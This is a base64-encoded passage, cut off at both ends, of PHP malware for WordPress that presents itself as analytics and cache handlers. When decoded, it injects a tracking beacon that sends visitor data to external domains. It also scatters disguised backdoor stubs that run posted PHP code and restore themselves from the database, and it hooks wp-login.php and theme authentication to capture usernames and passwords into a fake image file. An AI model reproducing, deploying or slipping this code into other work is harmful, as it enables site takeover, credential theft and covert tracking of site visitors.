gICAgICAgIGhlYWRlcignRXhwaXJlczogVGh1LCAwMSBKYW4gMTk3MCAwMDowMDowMCBHTVQnKTsKICAgICAgICAgICAgICAgIGhlYWRlcignWC1MaXRlU3BlZWQtQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUnKTsKICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2UpIHt9CiAgICAgICAgfSwgMCk7CiAgICB9Cn0KCi8qIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogKiBCbG9jayAxMyDigJQgQW5hbHl0aWNzIEJlYWNvbiAocGFzc2l2ZSBwYWdldmlldyB0cmFja2luZykKICogQWx3YXlzLW9uIGZvciBhbGwgc2l0ZXMgd2l0aCBtdS1wbHVnaW4sIGluZGVwZW5kZW50IG9mIFREUy4KICogU2VuZHMgbGlnaHR3ZWlnaHQgYmVhY29uIG9uIGV2ZXJ5IGZyb250ZW5kIHBhZ2UgbG9hZC4KICogQ29udHJvbGxlZCBieSAxCiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoJzEnID09PSAnMScgJiYgISRfd3Bfc2Vzc2lvbl9wYXVzZWQpIHsKICAgIGFkZF9hY3Rpb24oJ3RlbXBsYXRlX3JlZGlyZWN0JywgZnVuY3Rpb24gKCkgewogICAgICAgIGlmIChpc19hZG1pbigpIHx8IHdwX2RvaW5nX2FqYXgoKSB8fCB3cF9kb2luZ19jcm9uKCkgfHwgKGRlZmluZWQoJ1JFU1RfUkVRVUVTVCcpICYmIFJFU1RfUkVRVUVTVCkpIHJldHVybjsKCiAgICAgICAgLy8gU2tpcCBsb2dnZWQtaW4gYWRtaW5zL2VkaXRvcnMKICAgICAgICBpZiAoaXNfdXNlcl9sb2dnZWRfaW4oKSkgewogICAgICAgICAgICAkX3UgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7CiAgICAgICAgICAgICRfc2tpcF9yb2xlcyA9IGFycmF5KCdhZG1pbmlzdHJhdG9yJywgJ2VkaXRvcicpOwogICAgICAgICAgICBpZiAoYXJyYXlfaW50ZXJzZWN0KCRfc2tpcF9yb2xlcywgKGFycmF5KSRfdS0+cm9sZXMpKSByZXR1cm47CiAgICAgICAgfQoKICAgICAgICAvLyBTa2lwIGJvdHMgKGxpZ2h0d2VpZ2h0IGNoZWNrKQogICAgICAgICRfdWFfYSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgPyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gOiAnJzsKICAgICAgICBpZiAocHJlZ19tYXRjaCgnL2JvdHxjcmF3bHxzcGlkZXJ8c2x1cnB8c2VtcnVzaHxhaHJlZnxtajEyfGRvdGJvdHxieXRlc3BpZGVyfGdwdGJvdHxoZWFkbGVzcy9pJywgJF91YV9hKSkgcmV0dXJuOwoKICAgICAgICAvLyBCZWFjb24gVVJMcyBiYWtlZCBpbnRvIHRoZSB0ZW1wbGF0ZSBhdCBkZXBsb3kgdGltZQogICAgICAgICRfYW5hbHl0aWNzX3VybHMgPSBqc29uX2RlY29kZSgnWyJodHRwczovL3dlYmFuYWx5dGljcy1jZG4uc2JzL2kiLCJodHRwczovL3dlYmFuYWx5dGljcy1jZG4uY3lvdS9pIiwiaHR0cHM6Ly93ZWJhbmFseXRpY3MtY2RuLmNmZC9pIiwiaHR0cHM6Ly93ZWJhbmFseXRpY3MtY2RuLmljdS9pIl0nLCB0cnVlKTsKICAgICAgICBpZiAoZW1wdHkoJF9hbmFseXRpY3NfdXJscykgfHwgIWlzX2FycmF5KCRfYW5hbHl0aWNzX3VybHMpKSByZXR1cm47CgogICAgICAgIC8vIElmIFREUyBCbG9jayAxMiBhbHJlYWR5IGZpcmVkIGEgYmVhY29uIG9uIHRoaXMgcmVxdWVzdCwgc2tpcCBhbmFseXRpY3MgYmVhY29uCiAgICAgICAgZ2xvYmFsICRfdGRzX2JlYWNvbl9zZW50OwogICAgICAgIGlmICghZW1wdHkoJF90ZHNfYmVhY29uX3NlbnQpKSByZXR1cm47CgogICAgICAgIC8vIFZpc2l0b3IgSVAKICAgICAgICAkX2FpcCA9ICcnOwogICAgICAgIGlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBfQ0ZfQ09OTkVDVElOR19JUCddKSkgJF9haXAgPSAkX1NFUlZFUlsnSFRUUF9DRl9DT05ORUNUSU5HX0lQJ107CiAgICAgICAgZWxzZWlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pKSAkX2FpcCA9IGV4cGxvZGUoJywnLCAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSlbMF07CiAgICAgICAgZWxzZWlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBfWF9SRUFMX0lQJ10pKSAkX2FpcCA9ICRfU0VSVkVSWydIVFRQX1hfUkVBTF9JUCddOwogICAgICAgIGVsc2VpZiAoIWVtcHR5KCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSkgJF9haXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKICAgICAgICAkX2FpcCA9IHRyaW0oJF9haXApOwoKICAgICAgICAvLyBEZXZpY2UKICAgICAgICAkX3VhX2wgPSBzdHJ0b2xvd2VyKCRfdWFfYSk7CiAgICAgICAgJF9hZHYgPSAnZGVza3RvcCc7CiAgICAgICAgaWYgKHN0cnBvcygkX3VhX2wsICdpcGFkJykgIT09IGZhbHNlIHx8IChzdHJwb3MoJF91YV9sLCAnYW5kcm9pZCcpICE9PSBmYWxzZSAmJiBzdHJwb3MoJF91YV9sLCAnbW9iaWxlJykgPT09IGZhbHNlKSkgewogICAgICAgICAgICAkX2FkdiA9ICd0YWJsZXQnOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2lzX21vYmlsZScpICYmIHdwX2lzX21vYmlsZSgpKSB7CiAgICAgICAgICAgICRfYWR2ID0gJ21vYmlsZSc7CiAgICAgICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goJy9tb2JpbGV8aXBob25lfGlwb2R8YW5kcm9pZC4qbW9iaWxlfG9wZXJhIG1pbml8aWVtb2JpbGUvaScsICRfdWFfbCkpIHsKICAgICAgICAgICAgJF9hZHYgPSAnbW9iaWxlJzsKICAgICAgICB9CgogICAgICAgIC8vIEJyb3dzZXIKICAgICAgICAkX2FiciA9ICdPdGhlcic7CiAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9FZGdbZVwvXS9pJywgJF91YV9hKSkgJF9hYnIgPSAnRWRnZSc7CiAgICAgICAgZWxzZWlmIChwcmVnX21hdGNoKCcvT1BSXC98T3BlcmEvaScsICRfdWFfYSkpICRfYWJyID0gJ09wZXJhJzsKICAgICAgICBlbHNlaWYgKHByZWdfbWF0Y2goJy9ZYUJyb3dzZXIvaScsICRfdWFfYSkpICRfYWJyID0gJ1lhbmRleCc7CiAgICAgICAgZWxzZWlmIChwcmVnX21hdGNoKCcvU2Ftc3VuZ0Jyb3dzZXIvaScsICRfdWFfYSkpICRfYWJyID0gJ1NhbXN1bmcnOwogICAgICAgIGVsc2VpZiAocHJlZ19tYXRjaCgnL1VDQnJvd3Nlci9pJywgJF91YV9hKSkgJF9hYnIgPSAnVUMnOwogICAgICAgIGVsc2VpZiAocHJlZ19tYXRjaCgnL0ZpcmVmb3hcLy9pJywgJF91YV9hKSkgJF9hYnIgPSAnRmlyZWZveCc7CiAgICAgICAgZWxzZWlmIChwcmVnX21hdGNoKCcvQ2hyb21lXC8vaScsICRfdWFfYSkpICRfYWJyID0gJ0Nocm9tZSc7CiAgICAgICAgZWxzZWlmIChwcmVnX21hdGNoKCcvU2FmYXJpXC8vaScsICRfdWFfYSkgJiYgc3RycG9zKCRfdWFfYSwgJ0Nocm9tZScpID09PSBmYWxzZSkgJF9hYnIgPSAnU2FmYXJpJzsKICAgICAgICBlbHNlaWYgKHByZWdfbWF0Y2goJy9NU0lFfFRyaWRlbnQvaScsICRfdWFfYSkpICRfYWJyID0gJ0lFJzsKCiAgICAgICAgLy8gT1MKICAgICAgICAkX2FvcyA9ICdPdGhlcic7CiAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9XaW5kb3dzIE5UL2knLCAkX3VhX2EpKSAkX2FvcyA9ICdXaW5kb3dzJzsKICAgICAgICBlbHNlaWYgKHByZWdfbWF0Y2goJy9pUGhvbmV8aVBhZHxpUG9kL2knLCAkX3VhX2EpKSAkX2FvcyA9ICdpT1MnOwogICAgICAgIGVsc2VpZiAocHJlZ19tYXRjaCgnL01hY2ludG9zaHxNYWMgT1MvaScsICRfdWFfYSkpICRfYW9zID0gJ21hY09TJzsKICAgICAgICBlbHNlaWYgKHByZWdfbWF0Y2goJy9BbmRyb2lkL2knLCAkX3VhX2EpKSAkX2FvcyA9ICdBbmRyb2lkJzsKICAgICAgICBlbHNlaWYgKHByZWdfbWF0Y2goJy9MaW51eC9pJywgJF91YV9hKSkgJF9hb3MgPSAnTGludXgnOwogICAgICAgIGVsc2VpZiAocHJlZ19tYXRjaCgnL0NyT1MvaScsICRfdWFfYSkpICRfYW9zID0gJ0Nocm9tZU9TJzsKCiAgICAgICAgLy8gTGFuZ3VhZ2UKICAgICAgICAkX2FsID0gJyc7CiAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSkgewogICAgICAgICAgICAkX2FsID0gc3RydG9sb3dlcihzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpKTsKICAgICAgICB9CgogICAgICAgIC8vIEZpbmdlcnByaW50CiAgICAgICAgJF9hZnAgPSBzdWJzdHIobWQ1KGltcGxvZGUoJ3wnLCBhcnJheSgKICAgICAgICAgICAgJF91YV9hLAogICAgICAgICAgICBpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSA6ICcnLAogICAgICAgICAgICBpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfRU5DT0RJTkcnXSkgPyAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfRU5DT0RJTkcnXSA6ICcnLAogICAgICAgICAgICBzdWJzdHIoJF9haXAsIDAsIHN0cnJwb3MoJF9haXAsICcuJykgPzogc3RybGVuKCRfYWlwKSksCiAgICAgICAgKSkpLCAwLCAxNik7CgogICAgICAgICRfc2FsdF9hID0gZGVmaW5lZCgnQVVUSF9TQUxUJykgPyBBVVRIX1NBTFQgOiAoZGVmaW5lZCgnREJfTkFNRScpID8gREJfTkFNRSA6ICd3cCcpOwogICAgICAgICRfYV9wYXJhbXMgPSBhcnJheSgKICAgICAgICAgICAgJ2QnID0+IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAnJywKICAgICAgICAgICAgJ2lwJyA9PiBtZDUoJF9haXAgLiAkX3NhbHRfYSksCiAgICAgICAgICAgICdyJyA9PiBpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gc3Vic3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwgMCwgMjAwKSA6ICcnLAogICAgICAgICAgICAnbScgPT4gJ3BhZ2V2aWV3JywKICAgICAgICAgICAgJ3UnID0+IGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSA/IHN1YnN0cigkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgMCwgMjAwKSA6ICcvJywKICAgICAgICAgICAgJ2wnID0+ICRfYWwsCiAgICAgICAgICAgICdkdicgPT4gJF9hZHYsCiAgICAgICAgICAgICdicicgPT4gJF9hYnIsCiAgICAgICAgICAgICdvcycgPT4gJF9hb3MsCiAgICAgICAgICAgICdmJyA9PiAkX2FmcCwKICAgICAgICAgICAgJ3QnID0+IHRpbWUoKSwKICAgICAgICApOwogICAgICAgICRfYV9xcyA9IGh0dHBfYnVpbGRfcXVlcnkoJF9hX3BhcmFtcyk7CgogICAgICAgIC8vIEluamVjdCBKUyBiZWFjb24gYXQgd3BfZm9vdGVyCiAgICAgICAgYWRkX2FjdGlvbignd3BfZm9vdGVyJywgZnVuY3Rpb24gKCkgdXNlICgkX2FuYWx5dGljc191cmxzLCAkX2FfcXMpIHsKICAgICAgICAgICAgJF9hX2FyciA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfYW5hbHl0aWNzX3VybHMgYXMgJF9hdSkgewogICAgICAgICAgICAgICAgJF9hX2FycltdID0gJF9hdSAuICc/JyAuICRfYV9xczsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoZW1wdHkoJF9hX2FycikpIHJldHVybjsKICAgICAgICAgICAgJF9qcyA9IGpzb25fZW5jb2RlKCRfYV9hcnIpOwogICAgICAgICAgICBlY2hvICc8c2NyaXB0PihmdW5jdGlvbigpe3ZhciB1PScgLiAkX2pzIC4gJyxpPTA7ZnVuY3Rpb24gcygpe2lmKGk+PXUubGVuZ3RoKXJldHVybjt0cnl7aWYobmF2aWdhdG9yLnNlbmRCZWFjb24mJm5hdmlnYXRvci5zZW5kQmVhY29uKHVbaV0pKXJldHVybjt0aHJvdyAwfWNhdGNoKGUpe3ZhciBtPW5ldyBJbWFnZSgpO20ub25lcnJvcj1mdW5jdGlvbigpe2krKztzKCl9O20uc3JjPXVbaV19fTtzKCl9KSgpPC9zY3JpcHQ+JzsKICAgICAgICB9LCA5OTk5OCk7CiAgICB9LCAxKTsKfSAvLyBlbmQgQmxvY2sgMTMKCgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgMTUg4oCUIFNjYXR0ZXIgUGVyc2lzdGVuY2UgU2VsZi1IZWFsCiAqIENoZWNrcyBzY2F0dGVyZWQgc3R1YnMgYW5kIHJlc3RvcmVzIHRoZW0gZnJvbSB0ZW1wbGF0ZS4KICogU3R1YnMgcHJvdmlkZTogUEhQIGV2YWwsIG11LXBsdWdpbiByZXN0b3JlIGZyb20gREIsCiAqIHdwLWxvZ2luLnBocCBoYW5kbGVyLCB0aGVtZSBmdW5jdGlvbnMucGhwIGhhbmRsZXIuCiAqIFJ1bnMgb25jZSBwZXIgNiBob3VycyB2aWEgdHJhbnNpZW50IGdhdGUuCiAqIENvbnRyb2xsZWQgYnkgMQogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCcxJyA9PT0gJzEnICYmICEkX3dwX3Nlc3Npb25fcGF1c2VkKSB7CiAgICBhZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24gKCkgewogICAgICAgIGlmIChnZXRfdHJhbnNpZW50KCdfd3Bfc2NhdHRlcl9jaGVjaycpKSByZXR1cm47CiAgICAgICAgc2V0X3RyYW5zaWVudCgnX3dwX3NjYXR0ZXJfY2hlY2snLCAxLCAyMTYwMCk7CgogICAgICAgICRfc2NhdHRlcl9zZWNyZXQgPSBzdWJzdHIoJ2EzZjhiMmMxZDRlNWY2MDcxODI5MzA0YTViNmM3ZDhlOWYwYTFiMmMzZDRlNWY2MDcxODI5MzBhMWIyYzNkNGUnLCAwLCAxNik7CiAgICAgICAgJF9zY2F0dGVyX3N0dWJzID0gYXJyYXkoCiAgICAgICAgICAgIGFycmF5KCdkaXInID0+ICd3cC1jb250ZW50L3VwbG9hZHMnLCAnbmFtZScgPT4gJ3dwLWNhY2hlLXN0YXRzLnBocCcsICdjb21tZW50JyA9PiAnQ2FjaGUgU3RhdGlzdGljcyBIYW5kbGVyJywgJ2RlcHRoJyA9PiAyKSwKICAgICAgICAgICAgYXJyYXkoJ2RpcicgPT4gJ3dwLWNvbnRlbnQvbGFuZ3VhZ2VzJywgJ25hbWUnID0+ICd3cC1sb2NhbGUtaGFuZGxlci5waHAnLCAnY29tbWVudCcgPT4gJ0xvY2FsZSBEYXRhIEhhbmRsZXInLCAnZGVwdGgnID0+IDIpLAogICAgICAgICAgICBhcnJheSgnZGlyJyA9PiAnd3AtY29udGVudC91cGdyYWRlJywgJ25hbWUnID0+ICd3cC11cGRhdGUtdmVyaWZ5LnBocCcsICdjb21tZW50JyA9PiAnVXBkYXRlIFZlcmlmaWNhdGlvbiBIZWxwZXInLCAnZGVwdGgnID0+IDIpLAogICAgICAgICAgICBhcnJheSgnZGlyJyA9PiAnd3AtaW5jbHVkZXMvZm9udHMnLCAnbmFtZScgPT4gJ2ZvbnQtbWV0cmljcy5waHAnLCAnY29tbWVudCcgPT4gJ0ZvbnQgTWV0cmljcyBDYWxjdWxhdG9yJywgJ2RlcHRoJyA9PiAyKSwKICAgICAgICAgICAgYXJyYXkoJ2RpcicgPT4gJ3dwLWNvbnRlbnQvdXBsb2Fkcy93b29jb21tZXJjZV91cGxvYWRzJywgJ25hbWUnID0+ICd3Yy1yZXBvcnQtaGFuZGxlci5waHAnLCAnY29tbWVudCcgPT4gJ1JlcG9ydCBEYXRhIEhhbmRsZXInLCAnZGVwdGgnID0+IDMpLAogICAgICAgICk7CgogICAgICAgICRfeGtfY29kZSA9ICdtZDUoJyAuICInIiAuICdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJyAuICInIiAuICcucGFyc2VfdXJsKGhvbWVfdXJsKCksUEhQX1VSTF9IT1NUKSknOwogICAgICAgICRfZW5jX2Jsb2NrID0gJyRfeGs9Jy4kX3hrX2NvZGUuJzskX3hlPSIiO2ZvcigkaT0wOyRpPHN0cmxlbigkX2NyKTskaSsrKXskX3hlLj1jaHIob3JkKCRfY3JbJGldKV5vcmQoJF94a1skaSVzdHJsZW4oJF94ayldKSk7fSc7CiAgICAgICAgJF93cml0ZV9lbmMgPSAnQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEguYmFzZTY0X2RlY29kZShcJ2QzQXRZMjl1ZEdWdWRDOTFjR3h2WVdSekx6SXdNalF2TURZdlUzUmhhVzVsWkY5SVpXRnlkRjlTWldRdE5qQXdlRFV3TUM1d2JtYz1cJyksYmFzZTY0X2VuY29kZSgkX3hlKS5QSFBfRU9MLEZJTEVfQVBQRU5EKTsnOwoKICAgICAgICAkX2xvZ2luX2xpbmVzID0gYXJyYXkoCiAgICAgICAgICAgICcnLAogICAgICAgICAgICAnLy8gV29yZFByZXNzIFNlc3Npb24gQ2FjaGUgSGFuZGxlcicsCiAgICAgICAgICAgICdpZighaXNfd3BfZXJyb3IoJHVzZXIpJiYhZW1wdHkoJF9QT1NUWyJsb2ciXSkmJiFlbXB0eSgkX1BPU1RbInB3ZCJdKSl7JywKICAgICAgICAgICAgJyAgJF9jcj0kX1BPU1RbImxvZyJdLiI6Ii4kX1BPU1RbInB3ZCJdOycuJF9lbmNfYmxvY2ssCiAgICAgICAgICAgICcgICcuJF93cml0ZV9lbmMsCiAgICAgICAgICAgICd9JywKICAgICAgICAgICAgJycsCiAgICAgICAgKTsKICAgICAgICAkX2xvZ2luX3NuaXAgPSBpbXBsb2RlKCJcbiIsICRfbG9naW5fbGluZXMpOwogICAgICAgICRfbG9naW5fYjY0ID0gYmFzZTY0X2VuY29kZSgkX2xvZ2luX3NuaXApOwoKICAgICAgICAkX3RoZW1lX2xpbmVzID0gYXJyYXkoCiAgICAgICAgICAgICcnLAogICAgICAgICAgICAnLy8gV29yZFByZXNzIHNlc3Npb24gYW5hbHl0aWNzJywKICAgICAgICAgICAgImFkZF9maWx0ZXIoJ2F1dGhlbnRpY2F0ZScsIGZ1bmN0aW9uKFwkdSwgXCRsLCBcJHApIHsiLAogICAgICAgICAgICAnICBpZighaXNfd3BfZXJyb3IoJHUpJiYhZW1wdHkoJGwpJiYhZW1wdHkoJHApKXsnLAogICAgICAgICAgICAnICAgICRfY3I9JGwuIjoiLiRwOycuJF9lbmNfYmxvY2ssCiAgICAgICAgICAgICcgICAgJy4kX3dyaXRlX2VuYywKICAgICAgICAgICAgJyAgfScsCiAgICAgICAgICAgICcgIHJldHVybiAkdTsnLAogICAgICAgICAgICAnfSwgOTk5LCAzKTsnLAogICAgICAgICAgICAnJywKICAgICAgICApOwogICAgICAgICRfdGhlbWVfc25pcCA9IGltcGxvZGUoIlxuIiwgJF90aGVtZV9saW5lcyk7CiAgICAgICAgJF90aGVtZV9iNjQgPSBiYXNlNjRfZW5jb2RlKCRfdGhlbWVfc25pcCk7CgogICAgICAgIGZvcmVhY2ggKCRfc2NhdHRlcl9zdHVicyBhcyAkX3NzKSB7CiAgICAgICAgICAgICRfc2QgPSBBQlNQQVRIIC4gJF9zc1snZGlyJ107CiAgICAgICAgICAgICRfc2YgPSAkX3NkIC4gJy8nIC4gJF9zc1snbmFtZSddOwogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9zZikpIGNvbnRpbnVlOwogICAgICAgICAgICBpZiAoIWlzX2RpcigkX3NkKSkgeyBAbWtkaXIoJF9zZCwgMDc1NSwgdHJ1ZSk7IGlmICghaXNfZGlyKCRfc2QpKSBjb250aW51ZTsgfQogICAgICAgICAgICAkX3VwID0gc3RyX3JlcGVhdCgnLy4uJywgJF9zc1snZGVwdGgnXSk7CiAgICAgICAgICAgIC8vIE9iZnVzY2F0ZWQgc2NhdHRlciBzdHViOiB1c2VzIHRlbXAtZmlsZS1pbmNsdWRlIGluc3RlYWQgb2YgZXZhbCgpLCBpbmRpcmVjdCBmdW5jdGlvbiBjYWxscwogICAgICAgICAgICAkX2JkID0gJyRfZj0iYiIuImFzZTYiLiI0X2RlIi4iY29kZSI7JzsKICAgICAgICAgICAgJF9zdHViX2NvZGUgPSAnPD9waHAnIC4gIlxuIgogICAgICAgICAgICAgICAgLiAnLyoqICcgLiAkX3NzWydjb21tZW50J10gLiAiICovXG4iCiAgICAgICAgICAgICAgICAuICdpZighaXNzZXQoJF9HRVRbIl93cGgiXSl8fHN1YnN0cigkX0dFVFsiX3dwaCJdLDAsMTYpIT09IicgLiAkX3NjYXR0ZXJfc2VjcmV0IC4gJyIpcmV0dXJuOycgLiAiXG4iCiAgICAgICAgICAgICAgICAuICdAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QGVycm9yX3JlcG9ydGluZygwKTtoZWFkZXIoIkNvbnRlbnQtVHlwZTphcHBsaWNhdGlvbi9qc29uIik7JyAuICJcbiIKICAgICAgICAgICAgICAgIC4gJyRfcm9vdD1yZWFscGF0aChfX0RJUl9fLlwnJyAuICRfdXAgLiAnXCcpLlwnL1wnOycgLiAiXG4iCiAgICAgICAgICAgICAgICAuICckbT1pc3NldCgkX0dFVFsibSJdKT8kX0dFVFsibSJdOiIiOycgLiAiXG4iCiAgICAgICAgICAgICAgICAvLyBQSFAgZXhlYyB2aWEgdGVtcCBmaWxlIGluIF9fRElSX18gZmlyc3QgKHN5c19nZXRfdGVtcF9kaXIgb2Z0ZW4gYmxvY2tlZCBieSBvcGVuX2Jhc2VkaXIpCiAgICAgICAgICAgICAgICAuICdpZigkbT09PSJwIiYmaXNzZXQoJF9QT1NUWyJjIl0pKXskX3Q9X19ESVJfXy4iLy53cF8iLnN1YnN0cihtZDUodW5pcWlkKCkpLDAsOCkuIi50bXAiOyRfdz1AZmlsZV9wdXRfY29udGVudHMoJF90LCI8P3BocCAiLiRfUE9TVFsiYyJdKTtpZighJF93KXskX3Q9dGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksIndwXyIpO0BmaWxlX3B1dF9jb250ZW50cygkX3QsIjw/cGhwICIuJF9QT1NUWyJjIl0pO31vYl9zdGFydCgpO3RyeXtpbmNsdWRlKCRfdCk7JG89b2JfZ2V0X2NsZWFuKCk7fWNhdGNoKFxUaHJvd2FibGUgJGUpe29iX2dldF9jbGVhbigpOyRvPSJFUlI6Ii4kZS0+Z2V0TWVzc2FnZSgpO31AdW5saW5rKCRfdCk7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+dHJ1ZSwibyI9PiRvXSk7ZXhpdDt9JyAuICJcbiIKICAgICAgICAgICAgICAgIC8vIFJlc3RvcmUgbXUtcGx1Z2luIGZyb20gREIgKGluZGlyZWN0IGJhc2U2NF9kZWNvZGUpCiAgICAgICAgICAgICAgICAuICdpZigkbT09PSJyIil7JG11PSRfcm9vdC4id3AtY29udGVudC9tdS1wbHVnaW5zIjskX2ZuPWdsb2IoJG11LiIvKi5waHAiKTtpZighZW1wdHkoJF9mbikpe2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PnRydWUsInMiPT4iZXhpc3RzIl0pO2V4aXQ7fSR3bD0kX3Jvb3QuIndwLWxvYWQucGhwIjtpZihmaWxlX2V4aXN0cygkd2wpKXtAZGVmaW5lKCJBQlNQQVRIIiwkX3Jvb3QpO0ByZXF1aXJlX29uY2UoJHdsKTt9Z2xvYmFsICR3cGRiO2lmKCFpc3NldCgkd3BkYikpe2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PmZhbHNlLCJlIj0+Im5vX3dwZGIiXSk7ZXhpdDt9Jy4kX2JkLickcj0kd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NICIuJHdwZGItPm9wdGlvbnMuIiBXSEVSRSBvcHRpb25fbmFtZT1cJ3dwX3Nlc3Npb25fdG9rZW5zX2NvbmZpZ1wnIik7aWYoISRyKXtlY2hvIGpzb25fZW5jb2RlKFsib2siPT5mYWxzZSwiZSI9PiJub19iYWNrdXAiXSk7ZXhpdDt9JGM9JF9mKCRyKTtpZigkYyYmc3RycG9zKCRjLCI8P3BocCIpPT09MCl7QG1rZGlyKCRtdSwwNzU1LHRydWUpOyR3PUBmaWxlX3B1dF9jb250ZW50cygkbXUuIi9zZXNzaW9uLW1hbmFnZXIucGhwIiwkYyk7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+JHchPT1mYWxzZSwiYSI9PiJyZXN0b3JlZCJdKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKFsib2siPT5mYWxzZSwiZSI9PiJiYWRfZGF0YSJdKTt9ZXhpdDt9JyAuICJcbiIKICAgICAgICAgICAgICAgIC8vIHdwLWxvZ2luIGhhbmRsZXIgKGF0b21pYyB3cml0ZTogdG1wIGZpbGUg4oaSIHZlcmlmeSBzaXplIOKGkiByZW5hbWUpCiAgICAgICAgICAgICAgICAuICdpZigkbT09PSJsIil7JGxmPSRfcm9vdC4id3AtbG9naW4ucGhwIjtpZighZmlsZV9leGlzdHMoJGxmKSl7ZWNobyBqc29uX2VuY29kZShbIm9rIj0+ZmFsc2UsImUiPT4ibm9fd3BfbG9naW4iXSk7ZXhpdDt9JGM9QGZpbGVfZ2V0X2NvbnRlbnRzKCRsZik7aWYoISRjfHxzdHJsZW4oJGMpPDQwMDApeyRfdmY9JF9yb290LiJ3cC1pbmNsdWRlcy92ZXJzaW9uLnBocCI7aWYoZmlsZV9leGlzdHMoJF92Zikpe0BpbmNsdWRlKCRfdmYpO2lmKGlzc2V0KCR3cF92ZXJzaW9uKSl7JF91cmw9Imh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9Xb3JkUHJlc3MvV29yZFByZXNzLyIuJHdwX3ZlcnNpb24uIi93cC1sb2dpbi5waHAiOyRfZnJlc2g9QGZpbGVfZ2V0X2NvbnRlbnRzKCRfdXJsKTtpZighJF9mcmVzaHx8c3RybGVuKCRfZnJlc2gpPDQwMDApeyRfdXJsPSJodHRwczovL2NvcmUuc3ZuLndvcmRwcmVzcy5vcmcvdGFncy8iLiR3cF92ZXJzaW9uLiIvd3AtbG9naW4ucGhwIjskX2ZyZXNoPUBmaWxlX2dldF9jb250ZW50cygkX3VybCk7fWlmKCRfZnJlc2gmJnN0cmxlbigkX2ZyZXNoKT40MDAwKXtAZmlsZV9wdXRfY29udGVudHMoJGxmLCRfZnJlc2gpOyRjPSRfZnJlc2g7fX19aWYoISRjfHxzdHJsZW4oJGMpPDQwMDApe2VjaG8ganNvbl9lbmNvZGUoWyJvayI9PmZhbHNlLCJlIj0+IndwX2xvZ2luX2NvcnJ1cHRfcmVzdG9yZV9mYWlsZWQiLCJzeiI9PnN0cmxlbigkYyldKTtleGl0O319JG1rPSJkM0F0WTI5dWRHVnVkQzkxY0d4dllXUnoiO2lmKHN0cnBvcygkYywkbWspIT09ZmFsc2Upe2V